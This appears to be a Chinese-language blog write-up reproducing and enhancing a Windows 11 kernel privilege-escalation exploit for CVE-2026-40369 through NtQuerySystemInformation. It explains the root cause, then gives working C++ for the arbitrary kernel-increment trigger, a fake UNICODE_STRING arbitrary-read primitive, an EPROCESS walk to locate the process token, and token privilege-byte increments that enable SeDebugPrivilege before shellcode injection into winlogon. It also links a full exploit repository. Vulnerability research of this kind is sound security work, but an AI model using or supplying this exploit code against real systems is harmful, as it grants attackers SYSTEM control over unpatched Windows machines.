最近才出的一个新漏洞

公众号:https://mp.weixin.qq.com/s/jUEW6MPkWhmxt_8w2Oszhg

或许我们的公众号会有更多你感兴趣的内容

img

CVE-2026-40369 复现与exp增强

我的Exp地址:https://github.com/Joe1sn/CVE_2026_40369

image-20260527190811699

非常新的一个漏洞,在5月才被patch,根据漏洞挖掘者的博客[1]:

通过 NtQuerySystemInformation 实现任意内核地址递增。

任何非特权进程(包括 Chrome 渲染器沙箱内的进程)只需一次系统调用,即可递增任意内核内存地址。不存在竞态条件。不存在堆喷射。无需特殊标记。100% 确定性地提升至 SYSTEM 权限。

分析使用的环境是Windows 11 25H2版本

image-20260528130243769

漏洞定位

这里旧不用基于patch的定位方法,仿照[1]的过程看看他的挖掘过程。

使用信息类253 ( SystemProcessInformationExtension ) 的NtQuerySystemInformation会分派给ExpGetProcessInformation。关键缺陷是:ProbeForWrite(buffer, Length, alignment)在分派之前被调用,但当Length=0 时,ProbeForWrite 完全是空操作——它的整个主体都受到if (Length)的限制。

__kernel_entry NTSTATUS NtQuerySystemInformation(
[in] SYSTEM_INFORMATION_CLASS SystemInformationClass,
[in, out] PVOID SystemInformation,
[in] ULONG SystemInformationLength,
[out, optional] PULONG ReturnLength
);

ntdll.dllntoskrl.exe下都有NtQuerySystemInformation,但是最后使用的是ntoskrl.exe中的NtQuerySystemInformation

传入的参数是0xFD,直接接了default分支

image-20260528140242114

按照调用顺序,此时ExpQuerySystemInformation参数为

ExpQuerySystemInformation(0xfd, *p_PrimaryGroupThread, 0, *Address, Length, *a4_cpy)

image-20260528140631896

再次调用ExpGetProcessInformation,传参应该是

ExpGetProcessInformation(Address, Length, (unsigned int)&Size, 0, funcId);

ExpGetProcessInformation+17B

image-20260528141124259

没有验证就接受了来自用户的buffer

image-20260528141315281

难道说可以调用?

image-20260528141509864

还真可以

addr+0: 自增1
addr+4: 所有进程的所有线程数
addr+8: 所有进程的所有句柄数

image-20260529123928053

image-20260529124006218

PoC编写

现在尝试触发这个漏洞,主要是任意地址可以+1,但是代价是后续内容会被随机值覆盖(下面的+1,+2还得加)。可以和原文[1]中使用一样的方法对一个不存在的指针++,甚至直接使用空指针访问。唯一的难点就是导入NtQuerySystemInformation相关结构体,这个直接网上抄就行了。

#ifndef SystemProcessInformationExtension
#define SystemProcessInformationExtension 253
#endif

typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);


bool PoC() {
auto NtQuerySystemInformation =
(_NtQuerySystemInformation)GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"NtQuerySystemInformation"
);

if (!NtQuerySystemInformation)
{
std::cout << "[-] Failed to get NtQuerySystemInformation\n";
return false;
}

getchar(); //保险措施
// 开始调用后 NtQuerySystemInformation
std::vector<BYTE> buffer(bufferSize);
NTSTATUS status;
ULONG returnLength = 0;
status = NtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)SystemProcessInformationExtension,
nullptr, //直接进行一个空指针调用
0,
&returnLength
);

Debug::HexDump(&status, 0x10);
return true;
}

image-20260528142732450

image-20260528142624602

Exp编写

原作者的exp写的跟shit一样,修改了偏移我没依旧打通,但是思路很好

成品exp:https://github.com/Joe1sn/CVE_2026_40369 (依旧需要微调)

说实话利用还是很难得,因为我调试的时候发现这个任意指针加是会在单次调用NtQuerySystemInformation中使用多次(0x94次)

image-20260529124621215

0: kd> dqs nt+EF6B60 
fffff807`91af6b60 ffffe68b`cae34cb0
fffff807`91af6b68 ffffe68b`cae30c60
fffff807`91af6b70 ffffe68b`cadf1750
fffff807`91af6b78 ffffe68b`cac4f010
fffff807`91af6b80 00000000`00000000
fffff807`91af6b88 00000000`00000000
fffff807`91af6b90 00000000`00000000
fffff807`91af6b98 00000000`00000000
fffff807`91af6ba0 00000000`00000000
fffff807`91af6ba8 00000000`00000000
fffff807`91af6bb0 00000000`00000000
fffff807`91af6bb8 00000000`00000000
fffff807`91af6bc0 00000000`00000000
fffff807`91af6bc8 00000000`00000000
fffff807`91af6bd0 00000000`00000000
fffff807`91af6bd8 00000000`00000000
0: kd> dq nt+EF6BE0 L1
fffff807`91af6be0 00000000`00000004

任意地址读构建

这里可以看出原作者对NtQuerySystemInformation 具有深刻的理解,使用222编号的功能可以通过CmpLayerVersions系统版本描述解析得到系统的版本,但是使用前会检查CmpLayerVersionCount的大小。

CmpLayerVersionCount=4下,我们尝试访问第4号版本,报错是0x8000001A代表{No More Entries} No more entries are available from an enumeration operation.

image-20260529152557467

image-20260529152619484

现在我们将其设置为0x5,发现能够访问,但是由于是空指针,所以失败。

image-20260529152712961

image-20260529152728897

关于222号查询的回传信息如下

typedef struct _SYSTEM_BUILD_VERSION_INFORMATION {
USHORT LayerIndex; // +0x00
USHORT LayerVersionCount; // +0x02
ULONG Field_04; // +0x04
ULONG Field_08; // +0x08
ULONG Field_0C; // +0x0C
ULONG Field_10; // +0x10
CHAR String1[128]; // +0x14
CHAR String2[128]; // +0x94
CHAR String3[128]; // +0x114
CHAR String4[128]; // +0x194
CHAR String5[26]; // +0x214
CHAR String6[16]; // +0x22E
BYTE Padding[2]; // +0x23E
ULONG Field_240; // +0x240
} SYSTEM_BUILD_VERSION_INFORMATION, * PSYSTEM_BUILD_VERSION_INFORMATION;

但是在内核中的原始信息如下

typedef struct _FAKE_VERSION_STRUCT {
BYTE header[0x10]; // +0x00: DWORD region (don't care)
UNICODE_STRING64 us1; // +0x10: String1 channel (128 bytes output)
UNICODE_STRING64 us5; // +0x20: zeroed (unused)
UNICODE_STRING64 us6; // +0x30: zeroed (unused)
UNICODE_STRING64 us2; // +0x40: zeroed (unused)
UNICODE_STRING64 us3; // +0x50: zeroed (unused)
UNICODE_STRING64 us4; // +0x60: zeroed (unused)
BYTE pad[0x320 - 0x70];
ULONG field_320; // +0x320
} FAKE_VERSION_STRUCT;

image-20260529153100307

其实后面的 String1 ~ String6 都是一个UNICODE_STRING64类型

typedef struct _UNICODE_STRING64 {
USHORT Length;
USHORT MaximumLength;
ULONG Padding;
ULONG64 Buffer;
} UNICODE_STRING64;

我们就可以伪造Buffer指针实现任意地址的读取。例如这里改成system token的地址,然后再尝试读取Version[1]

image-20260529153526484

image-20260529153644827

BYTE* arbitraryRead(DWORD index, PVOID victimAddr, PVOID targetAddr, DWORD size) {
BYTE* result = new BYTE[size];
// 1.构建 SYSTEM_BUILD_VERSION_INFORMATION
SYSTEM_BUILD_VERSION_INFORMATION info1 = { 0 };
queryBuildInfo(0, &info1);
auto fakePtr = reinterpret_cast<_FAKE_VERSION_STRUCT*>(victimAddr);
RtlCopyMemory(fakePtr, &info1.Field_04, 0x10);
fakePtr->us1.Length = size;
fakePtr->us1.MaximumLength = size;
fakePtr->us1.Padding = 0;
fakePtr->us1.Buffer = reinterpret_cast<ULONG64>(targetAddr);

// 2.通过查询实现任意地址读
SYSTEM_BUILD_VERSION_INFORMATION info2 = { 0 };
queryBuildInfo(index, &info2);
Debug::HexDump(info2.String1, size);
RtlCopyMemory(result,
info2.String1,
size);
return result;
}

但是会遇到的问题则是最后会调用RtlUnicodeStringToAnsiString将UTF-16转为UTF-8。这里读取的时候会将wide char转char,导致宽字节的两个字节中被舍去部分信息,例如:

image-20260529212854946

仔细一点的过程就是

source         :     4D 5A      |   90 00
utf8 code : E5 A9 8D | C2 90
unicode length : E5 A9

image-20260529215139916

使用python表示则为

data = bytes.fromhex("4D 5A")
codepoint = int.from_bytes(data, "little") # 按 little-endian 解释为 UTF16 code unit
print(hex(codepoint)) # 0x5a4d
ch = chr(codepoint) # 转成 Unicode 字符
print(ch)
utf8 = ch.encode("utf-8") # UTF8 编码
print(utf8.hex(" "))
'''
00000000 e5 a9 8d c2 90 03 00 04 00 ef bf bf 00 c2 b8 00 ................
'''

image-20260529215455310

我的解决方案非常粗暴:在UniString里面读取size*3大小,然后还原

// 将尽可能多的 BYTE* 数据从 UTF-8 转为 UTF-16,然后提取原始字节
std::vector<BYTE> RecoverOriginalBytes(
const BYTE* utf8Data,
ULONG utf8DataSize,
ULONG originalByteCount) // 需要恢复的原始字节数
{
std::vector<BYTE> result;

if (utf8Data == nullptr || utf8DataSize == 0 || originalByteCount == 0)
return result;

// 第一步:UTF-8 → UTF-16,转换尽可能多的数据
int wcharCount = MultiByteToWideChar(
CP_UTF8,
MB_ERR_INVALID_CHARS, // 遇到无效字符就停止
reinterpret_cast<LPCCH>(utf8Data),
static_cast<int>(utf8DataSize),
NULL,
0
);

if (wcharCount <= 0) {
// 可能整个缓冲区都没有完整字符,尝试不带 MB_ERR_INVALID_CHARS
wcharCount = MultiByteToWideChar(
CP_UTF8,
0, // 使用默认替换行为
reinterpret_cast<LPCCH>(utf8Data),
static_cast<int>(utf8DataSize),
NULL,
0
);

if (wcharCount <= 0)
return result;
}

// 分配 UTF-16 缓冲区
std::vector<wchar_t> utf16Buffer(wcharCount);

int converted = MultiByteToWideChar(
CP_UTF8,
0,
reinterpret_cast<LPCCH>(utf8Data),
static_cast<int>(utf8DataSize),
utf16Buffer.data(),
wcharCount
);

if (converted <= 0)
return result;

// 第二步:从 UTF-16 提取原始字节
result.reserve(originalByteCount);
ULONG bytesRemaining = originalByteCount;

for (int i = 0; i < converted && bytesRemaining > 0; i++) {
wchar_t wc = utf16Buffer[i];

// 低字节
result.push_back(static_cast<BYTE>(wc & 0xFF));
bytesRemaining--;

// 高字节
if (bytesRemaining > 0) {
result.push_back(static_cast<BYTE>((wc >> 8) & 0xFF));
bytesRemaining--;
}
}

return result;
}

//任意地址读取
std::vector<BYTE> arbitraryRead(DWORD index, PVOID victimAddr, PVOID targetAddr, DWORD size) {
std::vector<BYTE>result = {};
// 1.构建 SYSTEM_BUILD_VERSION_INFORMATION
SYSTEM_BUILD_VERSION_INFORMATION info1 = { 0 };
queryBuildInfo(0, &info1);
auto fakePtr = reinterpret_cast<_FAKE_VERSION_STRUCT*>(victimAddr);
RtlCopyMemory(fakePtr, &info1.Field_04, 0x10);
fakePtr->us1.Length = size * 3;
fakePtr->us1.MaximumLength = size * 3;
fakePtr->us1.Padding = 0;
fakePtr->us1.Buffer = reinterpret_cast<ULONG64>(targetAddr);

// 2.通过查询实现任意地址读
SYSTEM_BUILD_VERSION_INFORMATION info2 = { 0 };
queryBuildInfo(index, &info2);
result = RecoverOriginalBytes(reinterpret_cast<BYTE*>(info2.String1), size * 3, size);

return result;
}

Token读取

关于Token地址的泄露不可以使用通过进程handle的 NtQuerySystemInformation 泄露方法,微软在25H2收紧了对NtQuerySystemInformation使用的检测,也就是说我们之前的在22h2中使用的技巧在这里毫无用处,不过我们任然能够通过PsInitialSystemProcess这种指向EPROCESS的指针得到EPROCESSToken地址。

image-20260529234228280

image-20260529234205744

但是我们没有办法通过复制token的方式实现提权,所以我们可以启用当前进程Token特定的SeDebug权限,然后向高权限进程如winlogon注入代码实现提权。

_TOKEN 结构包含权限位掩码。SeDebugPrivilege 是 Privileges.Enabled 字段中的第 20 位。我们使用 253 类写入原语,将 token+0x42 处的字节递增,直到该位被置位:

image-20260530182441183

所以首要选择还是找到当前进程的EPROCESS然后再找到Token的地址

ULONG_PTR currentBase = EPROCESSAddr;
DWORD selfPid = GetCurrentProcessId();
DWORD pid = 0;
bool isFound = false;
for (size_t i = 0; i < 2000; i++)
{
result = arbitraryRead( //读取activate link list
6,
reinterpret_cast<PVOID>(fakeVerAddr),
reinterpret_cast<PVOID>(currentBase + exploit::gadget::X_26200_4946::EPROCESS::ActiveProcessLinks),
0x8);
currentBase = *reinterpret_cast<ULONG_PTR*>(result.data()) - exploit::gadget::X_26200_4946::EPROCESS::ActiveProcessLinks; //下一个进程的EPROCESS
result = arbitraryRead( //读取 当前eprocess.pid
6,
reinterpret_cast<PVOID>(fakeVerAddr),
reinterpret_cast<PVOID>(currentBase + exploit::gadget::X_26200_4946::EPROCESS::UniqueProcessId),
sizeof(DWORD));
pid = *reinterpret_cast<DWORD*>(result.data());
if (pid == selfPid) {
printf("[+]current eprocess: %p\n", currentBase);
isFound = true;
break;
}
}

image-20260530184047041

image-20260530184125844

image-20260530184137378

如何完成提权

下面是exp.exe和system的token值对比,显然我们既不能直接覆写,也不能单纯++来达到相同的值

[ring3] 0: kd> dx -id 0,0,ffffc00d6f6a8040 -r1 (*((ntkrnlmp!_EX_FAST_REF *)0xffffc00d76b432c8))
(*((ntkrnlmp!_EX_FAST_REF *)0xffffc00d76b432c8)) [Type: _EX_FAST_REF]
[+0x000] Object : 0xffff830b9f14f5fe [Type: void *]
[+0x000 ( 3: 0)] RefCnt : 0xe [Type: unsigned __int64]
[+0x000] Value : 0xffff830b9f14f5fe [Type: unsigned __int64]

[system]0: kd> dx -id 0,0,ffffc00d6f6a8040 -r1 (*((ntkrnlmp!_EX_FAST_REF *)0xffffc00d6f6a8288))
(*((ntkrnlmp!_EX_FAST_REF *)0xffffc00d6f6a8288)) [Type: _EX_FAST_REF]
[+0x000] Object : 0xffff830b95278a27 [Type: void *]
[+0x000 ( 3: 0)] RefCnt : 0x7 [Type: unsigned __int64]
[+0x000] Value : 0xffff830b95278a27 [Type: unsigned __int64]

token结构体如下

0: kd> dt _TOKEN
nt!_TOKEN
+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : _LARGE_INTEGER
+0x030 TokenLock : Ptr64 _ERESOURCE
+0x038 ModifiedId : _LUID
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES

当前进程的token的详细信息如下

0: kd> !token 0xffff830b9f14f5f0
_TOKEN 0xffff830b9f14f5f0
////// 省略一万字
Privs:
19 0x000000013 SeShutdownPrivilege Attributes -
23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default
25 0x000000019 SeUndockPrivilege Attributes -
33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes -
34 0x000000022 SeTimeZonePrivilege Attributes -
Authentication ID: (0,21585)
Impersonation Level: Anonymous
TokenType: Primary
Source: User32 TokenFlags: 0x2a00 ( Token in use )
Token ID: 910101 ParentToken ID: 2158a
Modified ID: (0, e9717)
RestrictedSidCount: 0 RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 3e7
PackageSid: (null)
CapabilityCount: 0 Capabilities: 0x0000000000000000
LowboxNumberEntry: 0x0000000000000000
Security Attributes:
Unable to get the offset of nt!_AUTHZBASEP_SECURITY_ATTRIBUTE.ListLink
Process Token TrustLevelSid: (null)

0: kd> dt _SEP_TOKEN_PRIVILEGES 0xffff830b9f14f5f0+40
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : 0x00000006`02880000
+0x008 Enabled : 0x800000
+0x010 EnabledByDefault : 0x40800000

0: kd> db 0xffff830b9f14f5f0+40 L20
ffff830b`9f14f630 00 00 88 02 06 00 00 00-00 00 80 00 00 00 00 00 ................
ffff830b`9f14f640 00 00 80 40 00 00 00 00-00 00 00 00 00 00 00 00 ...@............

image-20260530182441183

就是说SeDebugPrivilege = 20对应一个固定 bit 20,1 << 20 = 0x100000,让(Present,enable) |= 0x100000就能激活

0: kd> eq 0xffff830b9f14f5f0+40 poi(0xffff830b9f14f5f0+40)|100000
0: kd> dt _SEP_TOKEN_PRIVILEGES 0xffff830b9f14f5f0+40
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : 0x00000006`02980000
+0x008 Enabled : 0x900000
+0x010 EnabledByDefault : 0x40800000
0: kd> !token 0xffff830b9f14f5f0
//......
Privs:
19 0x000000013 SeShutdownPrivilege Attributes -
20 0x000000014 SeDebugPrivilege Attributes - Enabled
23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default
25 0x000000019 SeUndockPrivilege Attributes -
33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes -
34 0x000000022 SeTimeZonePrivilege Attributes -
//......
0: kd> db 0xffff830b9f14f5f0+40 L10
ffff830b`9f14f630 00 00 98 02 06 00 00 00-00 00 90 00 00 00 00 00 ................

所以尝试让 0xffff830b9f14f5f0+40+2完成自增,并且也要在enable,关于得到当前进程权限的代码问问AI就行了,或者看我的写法,思路都是一样的

ULONG_PTR processTokenAddr = currentBase + exploit::gadget::X_26200_4946::EPROCESS::Token;
result = arbitraryRead( //读取 当前eprocess.pid
6,
reinterpret_cast<PVOID>(fakeVerAddr),
reinterpret_cast<PVOID>(processTokenAddr),
sizeof(ULONG_PTR));
ULONG_PTR processTokenValue = *reinterpret_cast<ULONG_PTR*>(result.data());
processTokenValue &= 0xfffffffffffffff0;
ULONG_PTR presentDebugPriv = processTokenValue + exploit::gadget::X_26200_4946::_SEP_TOKEN_PRIVILEGES + 2;
ULONG_PTR enableDebugPriv = processTokenValue + exploit::gadget::X_26200_4946::_SEP_TOKEN_PRIVILEGES + 10;
printf("[+]token address: 0x%p = 0x%p\n", processTokenAddr, processTokenValue);
printf("[+]try to overwrite token's present: 0x%p, enable: 0x%p\n", presentDebugPriv, enableDebugPriv);

for (seDebugResult privResult = CANT_OPEN; privResult != SUCCESS; privResult = CheckSeDebugPrivilege())
{
printf(">");
if (privResult == DONT_HAVE) {
vulnAddPtr(reinterpret_cast<LPVOID>(presentDebugPriv), false);
}
else if (privResult == NOT_ENABLE) {
vulnAddPtr(reinterpret_cast<LPVOID>(enableDebugPriv), false);
} if (privResult == NOT_ENABLE) {
printf("[-]can't check process privllege\n");
return false;
}
}
printf("\n");

image-20260530194626525

最后我使用了原始PoC中的shellcode和远程线程注入,成功提权,虽然偶尔会出现无法校验token的情况。注意:使用原始PoC的注入记得修改winlogon的pid(没错,pid是手动的)

image-20260530201202855

注意

  • 利用需要提前泄露 ntoskrl.exe 的基地址,这在25H2上较难。所以我的/原始exp需要手动设置
  • 该技能只能释放一次,因为是无固定值、有损的自增,所以后续可能出现找不到 CmpLayerVersions 地址的情况。或者你也可以使用不同的版本信息位置构建 victim fake chunk
  • 使用了远程线程注入技术,可能无法通过杀软的检测,这极大收缩了供给面
  • 我的exp中你可能需要根据不同版本系统修改偏移,偏移在include\common\gadget.hpp
  • 我的exp中没有恢复 CmpLayerVersionCount 的值,虽然我觉得无所谓

引用

[1] 通过 NtQuerySystemInformation 实现任意内核地址递增 https://pwn2nimron.com/blog

[2] Windows Kernel Elevation of Privilege Vulnerability New CVE-2026-40369 Security Vulnerability https://msrc.microsoft.com/update-guide/zh-CN/advisory/CVE-2026-40369

[3] orinimron123/CVE-2026-40369-EXPLOIT https://github.com/orinimron123/CVE-2026-40369-EXPLOIT

[4] Joe1sn/CVE_2026_40369 https://github.com/Joe1sn/CVE_2026_40369